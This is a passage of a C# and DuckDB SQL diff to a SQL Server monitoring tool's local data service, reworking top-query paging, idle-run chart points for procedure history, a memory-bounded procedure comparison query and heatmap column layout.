+       AND t.host_object_name IS NOT DISTINCT FROM r.host_object_name
 LEFT JOIN module m ON m.sql_handle = r.sql_handle
 WHERE t.query_text IS NULL OR t.query_text NOT LIKE 'WAITFOR%'
-ORDER BY r.total_cpu_us DESC
-LIMIT $4";
+ORDER BY r.total_cpu_us DESC, r.database_name, r.query_hash, r.host_object_name
+LIMIT $4
+)
+/* #5313: the count row rides beside the page so a round trimmed to nothing still reports whether more candidates exist. */
+SELECT p.*, c.candidate_count
+FROM (SELECT COUNT(*) AS candidate_count FROM ranked) c
+LEFT JOIN page p ON TRUE
+ORDER BY p.page_ord";
+
+    /// <summary>
+    /// The top-N query-stats groups by CPU over the window. <paramref name="minMaxDop"/> is the lifetime
+    /// <c>max_dop</c> floor a group must reach to be RANKED at all (#3541 A13): 0 for no parallelism filter
+    /// (the grids' read, byte-identical to before), 2 for the MCP tool's <c>parallel_only</c>, the caller's
+    /// <c>min_dop</c> otherwise. It is a HAVING predicate on the grouped population, before the CPU ordering
+    /// and the cap, so the page is the top-N of the filtered population — the tool used to filter the
+    /// returned top-N page in C#, and a box whose hottest plans were all serial answered an empty page while
+    /// the window held parallel plans. Darling's <c>TopQueriesSql</c> carries the same floor as its $6.
+    /// </summary>
+    public async Task<List<QueryStatsRow>> GetTopQueriesByCpuAsync(int serverId, int hoursBack = 24, int top = 50, DateTime? fromDate = null, DateTime? toDate = null, ServerClock? serverClock = null, IReadOnlyList<string>? databaseNames = null, DateTime? asOfUtc = null, int minMaxDop = 0)
+    {
+        using var _q = TimeQuery("GetTopQueriesByCpuAsync", "v_query_stats top N by CPU");
+        using var connection = await OpenConnectionAsync();
+
+        var (startTime, endTime) = GetTimeRange(hoursBack, fromDate, toDate, asOfUtc);
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 7, out var dbValues);
+
+        /* #5313: one round at a candidate limit; TopFill asks again with a larger one while WAITFOR shells left the page short. */
+        async Task<(List<QueryStatsRow> Rows, int CandidateCount)> RunRoundAsync(int candidates)
+        {
+        using var command = connection.CreateCommand();
+        command.CommandText = TopQueriesByCpuSql(dbClause, candidates);
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = startTime });
@@ -240,9 +291,16 @@ ORDER BY r.total_cpu_us DESC
             command.Parameters.Add(new DuckDBParameter { Value = db });
 
         var items = new List<QueryStatsRow>();
+        var candidateCount = 0;
         using var reader = await command.ExecuteReaderAsync();
         while (await reader.ReadAsync())
         {
+            candidateCount = reader.IsDBNull(48) ? 0 : Convert.ToInt32(reader.GetValue(48));
+            if (reader.IsDBNull(47))
+            {
+                continue;
+            }
+
             items.Add(new QueryStatsRow
             {
                 DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
@@ -295,7 +353,10 @@ ORDER BY r.total_cpu_us DESC
             });
         }
 
-        return items;
+        return (items, candidateCount);
+        }
+
+        return await TopFill.RunAsync(top, RunRoundAsync);
     }
 
     /// <summary>
@@ -655,6 +716,47 @@ FROM v_procedure_stats
         return items;
     }
 
+    /// <summary>
+    /// #5449: the rows the per-procedure history CHART plots: the history rows plus a zero row at each collector run that
+    /// stored nothing for this procedure between its first and last stored row (see <see cref="ProcedureHistoryIdleRuns"/>).
+    /// The collector keeps no row for a procedure that did no work in a cycle, where an older store kept one with deltas 0, so
+    /// without these the chart draws a line across the quiet minutes. Only SUCCESS runs count: a failed run says nothing about
+    /// the procedure. The grid keeps listing the stored rows.
+    /// </summary>
+    public async Task<List<ProcedureStatsHistoryRow>> GetProcedureStatsHistoryChartRowsAsync(int serverId, IReadOnlyList<ProcedureStatsHistoryRow> history)
+    {
+        if (history.Count == 0)
+        {
+            return new List<ProcedureStatsHistoryRow>();
+        }
+
+        var ordered = history.OrderBy(r => r.CollectionTime).ToList();
+        using var connection = await OpenConnectionAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = @"
+SELECT collection_time
+FROM v_collection_log
+WHERE server_id = $1
+AND   collector_name = 'procedure_stats'
+AND   status = 'SUCCESS'
+AND   collection_time >= $2
+AND   collection_time <= $3
+ORDER BY collection_time";
+        command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        command.Parameters.Add(new DuckDBParameter { Value = ordered[0].CollectionTime });
+        command.Parameters.Add(new DuckDBParameter { Value = ordered[^1].CollectionTime });
+
+        var runs = new List<DateTime>();
+        using var reader = await command.ExecuteReaderAsync();
+        while (await reader.ReadAsync())
+        {
+            runs.Add(reader.GetDateTime(0));
+        }
+
+        var idle = ProcedureHistoryIdleRuns.IdleRunTimes(ordered.Select(r => r.CollectionTime).ToList(), runs);
+        return ProcedureHistoryIdleRuns.ChartRows(ordered, idle);
+    }
+
     /// <summary>
     /// Looks up a cached query plan from DuckDB by server_id and query_hash.
     /// Returns the most recently collected plan XML, or null if not found.
@@ -853,7 +955,9 @@ public async Task<List<TimeSliceBucket>> GetProcStatsSlicerDataAsync(
         command.CommandText = @"
 SELECT
     date_trunc('hour', collection_time) AS bucket,
-    COUNT(DISTINCT object_name) AS proc_count,
+    /* #5449: a procedure that did no work in a cycle has no stored row now (old data still has its zero-delta row), so
+       the count is of procedures WITH work: the same number on both. */
+    COUNT(DISTINCT object_name) FILTER (WHERE COALESCE(delta_execution_count, 0) > 0 OR COALESCE(delta_worker_time, 0) > 0 OR COALESCE(delta_elapsed_time, 0) > 0) AS proc_count,
     COALESCE(SUM(delta_worker_time), 0) / 1000.0 AS total_cpu_ms,
     COALESCE(SUM(delta_elapsed_time), 0) / 1000.0 AS total_elapsed_ms,
     COALESCE(SUM(delta_logical_reads), 0) AS total_reads,
@@ -995,20 +1099,10 @@ ORDER BY SUM(delta_worker_time) DESC
     }
 
     /// <summary>
-    /// Gets procedure stats comparison between a current time range and a baseline range.
+    /// The statement behind <see cref="GetProcedureStatsComparisonAsync"/>, split out so a test can run it beside the
+    /// pre-#5381 statement it replaced. <paramref name="dbClause"/> is the <see cref="BuildDbInClause"/> predicate (or empty).
     /// </summary>
-    public async Task<List<ProcedureStatsComparisonItem>> GetProcedureStatsComparisonAsync(
-        int serverId,
-        DateTime currentStart, DateTime currentEnd,
-        DateTime baselineStart, DateTime baselineEnd,
-        IReadOnlyList<string>? databaseNames = null)
-    {
-        using var _q = TimeQuery("GetProcedureStatsComparisonAsync", "v_procedure_stats comparison");
-        using var connection = await OpenConnectionAsync();
-        using var command = connection.CreateCommand();
-        var dbClause = BuildDbInClause(databaseNames, "database_name", 6, out var dbValues);
-
-        command.CommandText = @"
+    internal static string ProcedureStatsComparisonSql(string dbClause) => @"
 WITH top_current AS (
     SELECT database_name, schema_name, object_name
     FROM v_procedure_stats
@@ -1070,35 +1164,71 @@ AND ps.object_name IS NOT DISTINCT FROM tp.object_name
     AND   ps.collection_time >= $4 AND ps.collection_time <= $5
     AND   ps.delta_execution_count > 0
     GROUP BY tp.database_name, tp.schema_name, tp.object_name
-)
-SELECT COALESCE(c.database_name, b.database_name) AS database_name,
-       COALESCE(c.schema_name, b.schema_name) AS schema_name,
-       COALESCE(c.object_name, b.object_name) AS object_name,
-       c.exec_count, c.avg_duration_ms, c.avg_cpu_ms, c.avg_reads,
-       b.exec_count AS baseline_exec_count,
-       b.avg_duration_ms AS baseline_avg_duration_ms,
-       b.avg_cpu_ms AS baseline_avg_cpu_ms,
-       b.avg_reads AS baseline_avg_reads,
-       t.query_text
-FROM current_period c
-FULL OUTER JOIN baseline_period b
-  ON  c.database_name IS NOT DISTINCT FROM b.database_name
-  AND c.schema_name IS NOT DISTINCT FROM b.schema_name
-  AND c.object_name IS NOT DISTINCT FROM b.object_name
-/* #1981: a REPRESENTATIVE statement of the procedure, resolved through the same normalized
-   sql_handle join the #1568 module attribution relies on (both stores persist the identical
-   CONVERT(varchar(130), ..., 1) text). procedure_stats captures no text of its own, so this is
-   the latest captured statement from inside the module - parity with the other two comparison
-   grids' text columns, labeled a statement rather than the definition. */
-LEFT JOIN LATERAL (
-    SELECT qs.query_text
+),
+joined AS (
+    SELECT COALESCE(c.database_name, b.database_name) AS database_name,
+           COALESCE(c.schema_name, b.schema_name) AS schema_name,
+           COALESCE(c.object_name, b.object_name) AS object_name,
+           c.exec_count, c.avg_duration_ms, c.avg_cpu_ms, c.avg_reads,
+           b.exec_count AS baseline_exec_count,
+           b.avg_duration_ms AS baseline_avg_duration_ms,
+           b.avg_cpu_ms AS baseline_avg_cpu_ms,
+           b.avg_reads AS baseline_avg_reads,
+           COALESCE(c.sql_handle, b.sql_handle) AS text_handle
+    FROM current_period c
+    FULL OUTER JOIN baseline_period b
+      ON  c.database_name IS NOT DISTINCT FROM b.database_name
+      AND c.schema_name IS NOT DISTINCT FROM b.schema_name
+      AND c.object_name IS NOT DISTINCT FROM b.object_name
+),
+texts AS (
+    /* #1981: a REPRESENTATIVE statement of the procedure, resolved through the same normalized
+       sql_handle join the #1568 module attribution relies on (both stores persist the identical
+       CONVERT(varchar(130), ..., 1) text). procedure_stats captures no text of its own, so this is
+       the latest captured statement from inside the module - parity with the other two comparison
+       grids' text columns, labeled a statement rather than the definition.
+       #5381: fetched AFTER the comparison is built, for the compared procedures' handles only, and from the
+       comparison's own two ranges, not the span between them (a baseline weeks before the current range would
+       otherwise read every file in the gap). It was a LATERAL over v_query_stats with no time
+       filter, which DuckDB runs as a window over every archived query_stats row with query_text carried through
+       it, so the read's memory grew with the archive (an out of memory at Lite's 1 GB limit from five daily
+       files). The pick is the same - the newest row of the handle that carries a text - with the row collected
+       last winning a tie on the time, as every other newest-text pick does (#5299 round 2 N3). Difference from
+       the lateral, on purpose: a handle with no captured statement inside the window now reads blank rather
+       than showing an older statement from outside it. */
+    SELECT qs.sql_handle,
+           arg_max(qs.query_text, (qs.collection_time, qs.collection_id)) AS query_text
     FROM v_query_stats qs
+    JOIN (SELECT DISTINCT text_handle FROM joined WHERE text_handle IS NOT NULL) h
+      ON h.text_handle = qs.sql_handle
     WHERE qs.server_id = $1
-    AND   qs.sql_handle = COALESCE(c.sql_handle, b.sql_handle)
     AND   qs.query_text IS NOT NULL
-    ORDER BY qs.collection_time DESC
-    LIMIT 1
-) t ON TRUE;";
+    AND   ((qs.collection_time >= $2 AND qs.collection_time <= $3)
+        OR (qs.collection_time >= $4 AND qs.collection_time <= $5))
+    GROUP BY qs.sql_handle
+)
+SELECT j.database_name, j.schema_name, j.object_name,
+       j.exec_count, j.avg_duration_ms, j.avg_cpu_ms, j.avg_reads,
+       j.baseline_exec_count, j.baseline_avg_duration_ms, j.baseline_avg_cpu_ms, j.baseline_avg_reads,
+       t.query_text
+FROM joined j
+LEFT JOIN texts t ON t.sql_handle = j.text_handle;";
+
+    /// <summary>
+    /// Gets procedure stats comparison between a current time range and a baseline range.
+    /// </summary>
+    public async Task<List<ProcedureStatsComparisonItem>> GetProcedureStatsComparisonAsync(
+        int serverId,
+        DateTime currentStart, DateTime currentEnd,
+        DateTime baselineStart, DateTime baselineEnd,
+        IReadOnlyList<string>? databaseNames = null)
+    {
+        using var _q = TimeQuery("GetProcedureStatsComparisonAsync", "v_procedure_stats comparison");
+        using var connection = await OpenConnectionAsync();
+        using var command = connection.CreateCommand();
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 6, out var dbValues);
+
+        command.CommandText = ProcedureStatsComparisonSql(dbClause);
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = currentStart });
@@ -1148,8 +1278,8 @@ LIMIT 1
     /// unknowable), <c>NULLIF(…, 0)</c> so the restart collection is UNRATED, and the LAG only for a
     /// pre-v61 collection (NULL) that never recorded one, so history renders exactly as it did.
     /// <c>COALESCE(NULLIF(sample_interval_seconds, 0), LAG)</c> would be the wrong spelling — it falls back
-    /// to a fabricated interval on precisely the restart row. Darling's twin is
-    /// <c>DurationTrendRouting.BuildRawTrendSql</c>.</para>
+    /// to a fabricated interval on precisely the restart row. Darling's twin is the per-collection CTE
+    /// <c>DurationTrendRouting.BuildBucketedRawTrendSql</c> builds.</para>
     /// <para><b>An unrated collection is a point with no rate, not a missing point (#3541 A12, #3540 A8).</b>
     /// The first collection of a pre-v61 stretch has a NULL LAG, a restart collection a NULL interval; either
     /// way the <c>CASE ... ELSE 0 END</c> this replaced published that unknowable as a measured 0.0, and every
@@ -1253,38 +1383,40 @@ private static int AutoChartBucketMinutes(DateTime startTime, DateTime endTime)
     /// an unrated collection's work/executions/seconds rather than its rate directly (so the bucket sums work and
     /// seconds separately and divides once — summed rates, never averaged ones), then one row per bucket.
     /// <c>bucket_start</c> is clamped to the window start (<c>GREATEST</c>) so an unaligned window's first,
-    /// partial bucket does not render before it. No <c>HAVING</c>: a bucket with no rated collection still gets a
-    /// row, its rate NULL — the per-collection contract above, applied per bucket. <paramref name="dbClause"/> is
+    /// partial bucket does not render before it. No <c>HAVING</c> on the rate: a bucket with no rated collection still gets a
+    /// row, its rate NULL — the per-collection contract above, applied per bucket. With a database filter the filter sits
+    /// INSIDE the aggregates (#5414 M1: a collection the chosen databases had no rows in still counts its seconds) and
+    /// whether the chosen databases had any row at all is one window-level <c>WHERE EXISTS</c> (the empty chart), never a per-bucket test, so a bucket they were quiet in reads 0 and is not missing (#5414 round 2). <paramref name="dbClause"/> is
     /// <see cref="LocalDataService.BuildDbInClause"/>'s own <c>$4..</c> numbering, unchanged by bucketing; the
     /// width is appended as its OWN trailing parameter at <paramref name="widthParamIndex"/> so that numbering
     /// never shifts, mirroring the wait/perfmon trend reads' own width parameter.
     /// </summary>
     internal static string DurationTrendChartSql(string relation, string dbClause, int widthParamIndex) => $@"
-WITH raw AS
+WITH {(relation == "v_procedure_stats" ? ProcedureCollectionsSql(dbClause) : $@"raw AS
 (
     SELECT
         collection_time,
-        SUM(delta_elapsed_time) / 1000.0 AS total_elapsed_ms,
-        SUM(delta_execution_count) AS total_executions,
+        {FilteredSum("delta_elapsed_time", dbClause)} / 1000.0 AS total_elapsed_ms,
+        {FilteredSum("delta_execution_count", dbClause)} AS total_executions,
         /* The stored interval, three-state (#3653 A11): MAX 0 = every row unknowable (a restart) -> NULL, so
            the collection is unrated; NULL = pre-v61, the LAG stands in; n = measured. */
         CASE WHEN MAX(sample_interval_seconds) IS NULL
              THEN extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', LAG(collection_time) OVER (ORDER BY collection_time))))
              ELSE NULLIF(MAX(sample_interval_seconds), 0)
-        END AS interval_seconds
+        END AS interval_seconds{(dbClause.Length == 0 ? "" : $",\n        COUNT(*) FILTER (WHERE {DbInPredicate(dbClause)}) AS matched_rows")}
     FROM {relation}
     WHERE server_id = $1
     AND   collection_time >= $2
-    AND   collection_time <= $3{dbClause}
+    AND   collection_time <= $3
     GROUP BY collection_time
-),
+),")}
 rated AS
 (
     SELECT
         collection_time,
         CASE WHEN interval_seconds > 0 THEN total_elapsed_ms END AS rated_elapsed_ms,
         CASE WHEN interval_seconds > 0 THEN total_executions END AS rated_executions,
-        CASE WHEN interval_seconds > 0 THEN interval_seconds END AS rated_seconds
+        CASE WHEN interval_seconds > 0 THEN interval_seconds END AS rated_seconds{(dbClause.Length == 0 ? "" : ",\n        matched_rows")}
     FROM raw
 )
 SELECT
@@ -1295,10 +1427,118 @@ FROM raw
     CAST(SUM(rated_executions) AS DOUBLE PRECISION) / SUM(rated_seconds) AS executions_per_second,
     MIN(collection_time) AS first_collection_time,
     COUNT(*) AS collection_count
-FROM rated
+FROM rated{(dbClause.Length == 0 ? "" : "\nWHERE EXISTS (SELECT 1 FROM rated WHERE matched_rows > 0)")}
 GROUP BY 1
 ORDER BY 1";
 
+    /// <summary>
+    /// #5449: the collections of the procedure grain, as the leading CTEs of both bucketed duration-trend reads, ending in
+    /// <c>raw</c> with the query grain's columns (<c>collection_time</c>, <c>total_elapsed_ms</c>, <c>total_executions</c>,
+    /// <c>interval_seconds</c>, and <c>matched_rows</c> under a database filter). The collector stores no row for a procedure
+    /// that did no work in a cycle, so the grain's time axis is the collector's SUCCESS runs: a run that stored rows is a point
+    /// at its stored collection_time, a run that stored none is an idle point (work 0) at its log time. The log stamps a run's
+    /// start and the rows follow it, so run k owns [t_k, t_k+1): it is idle when no stored collection falls there, and a slip
+    /// adds or drops a 0, never double-counts seconds. A point's seconds are its gap to the previous point, NULL (unrated) past
+    /// <see cref="CollectorDeltaCalculator.DefaultMaxGapSeconds"/> (the collector's own limit, so a point it measured is rated).
+    /// A restart collection (every stored interval 0) stays unrated whatever the gap (#3540), the store's first point keeps its
+    /// stored interval, and an idle point with no previous point is unrated. A collection that returns after a quiet stretch
+    /// carries its whole delta in the run that stored it, over that run's gap, never its own long interval: bucket totals are
+    /// exact. Both tables are read from an hour before <c>$2</c> so the first in-window point has its previous point, and the
+    /// points before <c>$2</c> are dropped after the LAG. With no log (an imported or old store) the axis is the stored
+    /// collections alone. The database filter stays inside the sums; an idle point has 0 matched rows.
+    ///
+    /// <para>Rows and runs are read to <c>$3</c> plus the gap policy and the points are cut at <c>$3</c> last: a window can end between
+    /// a run's log time and its rows (a few hundred ms later), and a run whose rows sit past <c>$3</c> would otherwise read as idle
+    /// and plot a false 0 at its log time. The next run's time (the LEAD) is read past <c>$3</c> for the same reason (#5449).</para>
+    /// </summary>
+    internal static string ProcedureCollectionsSql(string dbClause)
+    {
+        var withFilter = dbClause.Length != 0;
+        var storedMatched = withFilter ? $",\n        COUNT(*) FILTER (WHERE {DbInPredicate(dbClause)}) AS matched_rows" : "";
+        var axisMatched = withFilter ? ",\n        matched_rows" : "";
+        var idleMatched = withFilter ? ",\n        CAST(0 AS BIGINT) AS matched_rows" : "";
+        const int gap = CollectorDeltaCalculator.DefaultMaxGapSeconds;
+        return $@"stored AS
+(
+    SELECT
+        collection_time,
+        {FilteredSum("delta_elapsed_time", dbClause)} / 1000.0 AS total_elapsed_ms,
+        {FilteredSum("delta_execution_count", dbClause)} AS total_executions,
+        MAX(sample_interval_seconds) AS stored_interval,
+        TRUE AS is_stored{storedMatched}
+    FROM v_procedure_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2 - to_seconds({gap})
+    AND   collection_time <= $3 + to_seconds({gap})
+    GROUP BY collection_time
+),
+axis AS
+(
+    SELECT
+        collection_time,
+        total_elapsed_ms,
+        total_executions,
+        stored_interval,
+        is_stored{axisMatched}
+    FROM stored
+    UNION ALL
+    SELECT
+        r.t AS collection_time,
+        CAST(0 AS DOUBLE PRECISION) AS total_elapsed_ms,
+        CAST(0 AS BIGINT) AS total_executions,
+        CAST(NULL AS BIGINT) AS stored_interval,
+        FALSE AS is_stored{idleMatched}
+    FROM
+    (
+        SELECT
+            collection_time AS t,
+            LEAD(collection_time) OVER (ORDER BY collection_time) AS next_t
+        FROM v_collection_log
+        WHERE server_id = $1
+        AND   collector_name = 'procedure_stats'
+        AND   status = 'SUCCESS'
+        AND   collection_time >= $2 - to_seconds({gap})
+        AND   collection_time <= $3 + to_seconds({gap})
+    ) AS r
+    WHERE NOT EXISTS
+    (
+        SELECT 1
+        FROM stored AS s
+        WHERE s.collection_time >= r.t
+        AND   (r.next_t IS NULL OR s.collection_time < r.next_t)
+    )
+),
+raw AS
+(
+    SELECT
+        collection_time,
+        total_elapsed_ms,
+        total_executions,
+        CASE
+            -- #5449: a stored collection whose rows ALL carry interval 0 reads as a restart and stays unrated, its seconds out of the
+            -- bucket. This is the chosen three-state rule. It also catches a collection of only 0/0 rows (a quiet server whose procedure
+            -- returns at or past the 3600 s gap policy): SQL cannot tell that from a collector restart, so the minute is unrated and
+            -- counted in unrated_collections rather than rated 0.
+            WHEN is_stored AND stored_interval = 0 THEN NULL
+            WHEN prev_t IS NOT NULL
+            THEN CASE
+                     WHEN extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', prev_t))) <= {gap}
+                     THEN extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', prev_t)))
+                 END
+            WHEN is_stored THEN NULLIF(stored_interval, 0)
+        END AS interval_seconds{axisMatched}
+    FROM
+    (
+        SELECT
+            *,
+            LAG(collection_time) OVER (ORDER BY collection_time) AS prev_t
+        FROM axis
+    ) AS a
+    WHERE collection_time >= $2
+    AND   collection_time <= $3
+),";
+    }
+
     /// <summary>
     /// Whether this server has EVER recorded a query-stats sample, ignoring any window.
     /// <para>Lets an empty query-duration trend say WHICH kind of nothing it found — see
@@ -1414,16 +1654,16 @@ WITH raw AS
 (
     SELECT
         collection_time,
-        SUM(delta_execution_count) AS total_executions,
+        {FilteredSum("delta_execution_count", dbClause)} AS total_executions,
         /* The stored interval, three-state (#3653 A11) — see GetQueryDurationTrendAsync. */
         CASE WHEN MAX(sample_interval_seconds) IS NULL
              THEN extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', LAG(collection_time) OVER (ORDER BY collection_time))))
              ELSE NULLIF(MAX(sample_interval_seconds), 0)
-        END AS interval_seconds
+        END AS interval_seconds{(dbClause.Length == 0 ? "" : $",\n        COUNT(*) FILTER (WHERE {DbInPredicate(dbClause)}) AS matched_rows")}
     FROM v_query_stats
     WHERE server_id = $1
     AND   collection_time >= $2
-    AND   collection_time <= $3{dbClause}
+    AND   collection_time <= $3
     GROUP BY collection_time
 ),
 rated AS
@@ -1431,7 +1671,7 @@ rated AS
     SELECT
         collection_time,
         CASE WHEN interval_seconds > 0 THEN total_executions END AS rated_executions,
-        CASE WHEN interval_seconds > 0 THEN interval_seconds END AS rated_seconds
+        CASE WHEN interval_seconds > 0 THEN interval_seconds END AS rated_seconds{(dbClause.Length == 0 ? "" : ",\n        matched_rows")}
     FROM raw
 )
 SELECT
@@ -1441,7 +1681,7 @@ FROM raw
     CAST(SUM(rated_executions) AS DOUBLE PRECISION) / SUM(rated_seconds) AS executions_per_second,
     MIN(collection_time) AS first_collection_time,
     COUNT(*) AS collection_count
-FROM rated
+FROM rated{(dbClause.Length == 0 ? "" : "\nWHERE EXISTS (SELECT 1 FROM rated WHERE matched_rows > 0)")}
 GROUP BY 1
 ORDER BY 1";
 
@@ -1493,12 +1733,104 @@ private async Task<bool> HasAnyRowAsync(string viewName, int serverId)
         _ => "(delta_elapsed_time / 1000.0) / NULLIF(delta_execution_count, 0)"
     };
 
+    /// <summary>
+    /// The heatmap's column width. Must equal the <c>INTERVAL '5 minutes'</c> the read's <c>time_bucket</c> uses:
+    /// <see cref="HeatmapColumns"/> lays the columns out at this width, and a stored row lands in the column whose
+    /// start is its own bucket.
+    /// </summary>
+    internal const int HeatmapBucketMinutes = 5;
+
+    /// <summary>
+    /// #4966: one column per <see cref="HeatmapBucketMinutes"/>-minute bucket across the asked range, from the bucket
+    /// that holds <paramref name="startUtc"/> (the range's start, or where the data starts when the range starts before
+    /// it: <see cref="GetHeatmapColumnsStartAsync"/>) through the one that holds <paramref name="endUtc"/>, empty ones
+    /// included, so a gap in the data draws as a gap (the columns used to be only the buckets that hold a row, and
+    /// the chart's X axis counts columns: rows at the start and the end of a 7-day range drew two adjacent columns).
+    /// Buckets are aligned to the epoch, which is where DuckDB's <c>time_bucket</c> puts a sub-day bucket too (its
+    /// origin is a whole number of days from tick 0), so every bucket the read returns has a column.
+    /// </summary>
+    internal static DateTime[] HeatmapColumns(DateTime startUtc, DateTime endUtc)
+    {
+        var width = TimeSpan.FromMinutes(HeatmapBucketMinutes).Ticks;
+        var first = HeatmapColumnStart(startUtc).Ticks;
+        var last = HeatmapColumnStart(endUtc).Ticks;
+        if (last < first)
+        {
+            return Array.Empty<DateTime>();
+        }
+
+        var columns = new DateTime[(int)((last - first) / width) + 1];
+        for (var i = 0; i < columns.Length; i++)
+        {
+            columns[i] = new DateTime(first + i * width, DateTimeKind.Unspecified);
+        }
+
+        return columns;
+    }
+
+    /// <summary>
+    /// #4966: the start of the <see cref="HeatmapBucketMinutes"/>-minute column that holds <paramref name="instant"/>:
+    /// where <see cref="HeatmapColumns"/> puts the column of a row stored at it, and the time the Query Heatmap's notice
+    /// names for a data start inside it (<c>ServerTab.FirstColumnDrawn</c>).
+    /// </summary>
+    internal static DateTime HeatmapColumnStart(DateTime instant) =>
+        new(instant.Ticks - instant.Ticks % TimeSpan.FromMinutes(HeatmapBucketMinutes).Ticks, DateTimeKind.Unspecified);
+
+    /// <summary>
+    /// #4991: where the heatmap's columns start: the range's start, or, when the range starts before the data, the data
+    /// start, whose column is the first one drawn and the time the Query Heatmap's "Showing since" notice names
+    /// (#4966). The notice and these columns are decided the same way, so the
+    /// columns move exactly when the notice shows: the notice's own probe (<see cref="GetQueryWindowFloorAsync"/>, the
+    /// <see cref="QueryWindowRelation.QueryStats"/> relation, over the same UTC window the read took) and its own
+    /// verdict (<see cref="Mcp.McpQueryTools.IsWindowTruncated"/>, which gives a start 90 minutes of slack), judged on
+    /// the start of the data start's column (<see cref="HeatmapColumnStart"/>), because that is the time the notice
+    /// names: a data start just past the slack whose column starts inside it shows no notice, so it trims no column. The span
+    /// before the data is what the notice already explains, and drawing it made a year-wide range over a few days of
+    /// data ~105,000 columns, nearly all of them empty. A gap AFTER the data starts is not this: every bucket from
+    /// here to the range end still has a column. The heatmap is not a capped read, so the capped grids' floor
+    /// (<c>ServerTab.CapAwareWindowFloor</c>, which gets no slack) does not apply. A range no longer than the slack
+    /// (<see cref="Mcp.McpQueryTools.CanWindowBeTruncated"/>) can never get the notice, so it skips the probe and starts
+    /// at the range start. A probe that throws costs only the trim: the columns span
+    /// the range, as they did before, and the chart is still drawn (the notice step's own rule for the same probe).
+    /// </summary>
+    private Task<DateTime> GetHeatmapColumnsStartAsync(int serverId, DateTime startUtc, DateTime endUtc) =>
+        HeatmapColumnsStartAsync(() => GetQueryWindowFloorAsync(QueryWindowRelation.QueryStats, serverId, startUtc, endUtc), startUtc, endUtc);
+
+    /// <summary>
+    /// #4966: the body of <see cref="GetHeatmapColumnsStartAsync"/> with the probe passed in, so the tests count the
+    /// probe's calls (none for a range no longer than the slack) and drive a throwing probe without a store.
+    /// </summary>
+    internal static async Task<DateTime> HeatmapColumnsStartAsync(Func<Task<DateTime?>> probe, DateTime startUtc, DateTime endUtc)
+    {
+        if (!Mcp.McpQueryTools.CanWindowBeTruncated(startUtc, endUtc))
+        {
+            return startUtc;
+        }
+
+        try
+        {
+            var floor = await probe();
+            return floor is DateTime dataStart && Mcp.McpQueryTools.IsWindowTruncated(HeatmapColumnStart(dataStart), startUtc) ? dataStart : startUtc;
+        }
+        catch (Exception ex)
+        {
+            AppLogger.Warn("Heatmap", $"data-start probe failed, so the columns span the whole range: {ex.Message}");
+            return startUtc;
+        }
+    }
+
     public async Task<HeatmapResult> GetQueryHeatmapAsync(int serverId, HeatmapMetric metric, int hoursBack = 24, DateTime? fromDate = null, DateTime? toDate = null, IReadOnlyList<string>? databaseNames = null)
     {
+        var (startTime, endTime) = GetTimeRange(hoursBack, fromDate, toDate, asOfUtc: null);
+
+        /* #4991: where the columns start, probed BEFORE this read opens its connection rather than under it: the probe
+           takes its own read lock, and a read lock taken under one this thread already holds only works through
+           AcquireReadLock's recursion escape. A range with no row at all still answers the empty result below. */
+        var columnsStart = await GetHeatmapColumnsStartAsync(serverId, startTime, endTime);
+
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
 
-        var (startTime, endTime) = GetTimeRange(hoursBack, fromDate, toDate, asOfUtc: null);
         var metricExpr = GetMetricColumn(metric);
         var dbClause = BuildDbInClause(databaseNames, "database_name", 4, out var dbValues);
 
@@ -1560,7 +1892,10 @@ FROM per_query
         if (rawCells.Count == 0)
             return new HeatmapResult();
 
-        var times = rawCells.Select(c => c.TimeBucket).Distinct().OrderBy(t => t).ToArray();
+        /* #4966: a column for every bucket from the first column to the range end, not just the buckets that hold a row. A
+           range that holds no row at all still answers the empty result above, so the chart says it has no data.
+           #4991: the first column is the range start, or the notice's time when the range starts before the data. */
+        var times = HeatmapColumns(columnsStart, endTime);
         var timeIndex = new Dictionary<DateTime, int>();
         for (int i = 0; i < times.Length; i++) timeIndex[times[i]] = i;
 
diff --git a/Lite/Services/LocalDataService.QueryStore.cs b/Lite/Services/LocalDataService.QueryStore.cs
index d421107e1f..702d19e8fc 100644
--- a/Lite/Services/LocalDataService.QueryStore.cs
+++ b/Lite/Services/LocalDataService.QueryStore.cs
@@ -9,6 +9,7 @@
 using System;
 using System.Collections.Generic;
 using System.Data;
+using System.Linq;
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
 using Microsoft.Data.SqlClient;
@@ -164,11 +165,11 @@ public async Task<List<QueryStoreRow>> GetQueryStoreTopQueriesAsync(int serverId
     {
         using var _q = TimeQuery("GetQueryStoreTopQueriesAsync", "v_query_store_stats top N");
         using var connection = await OpenConnectionAsync();
-        using var command = connection.CreateCommand();
 
         var (startTime, endTime) = GetTimeRange(hoursBack, fromDate, toDate, asOfUtc);
-        var dbClause = BuildDbInClause(databaseNames, "database_name", 5, out var dbValues);
-        var executionTypeParameterIndex = 5 + dbValues.Count;
+        /* #5381: $4 used to be the page limit; the limit is applied after the text lookup now, so the filter parameters start at $4. */
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 4, out var dbValues);
+        var executionTypeParameterIndex = 4 + dbValues.Count;
         var executionTypeClause = string.IsNullOrWhiteSpace(executionType)
             ? ""
             : $" AND execution_type_desc = ${executionTypeParameterIndex}";
@@ -178,15 +179,20 @@ public async Task<List<QueryStoreRow>> GetQueryStoreTopQueriesAsync(int serverId
             ? ""
             : $" AND module_name = ${moduleParameterIndex}";
 
+        /* #5313: one round at a candidate limit; TopFill asks again with a larger one while WAITFOR shells left the page short. */
+        async Task<(List<QueryStoreRow> Rows, int CandidateCount)> RunRoundAsync(int candidates)
+        {
+        using var command = connection.CreateCommand();
         command.CommandText = @"
-WITH deduped AS (
+WITH latest AS (
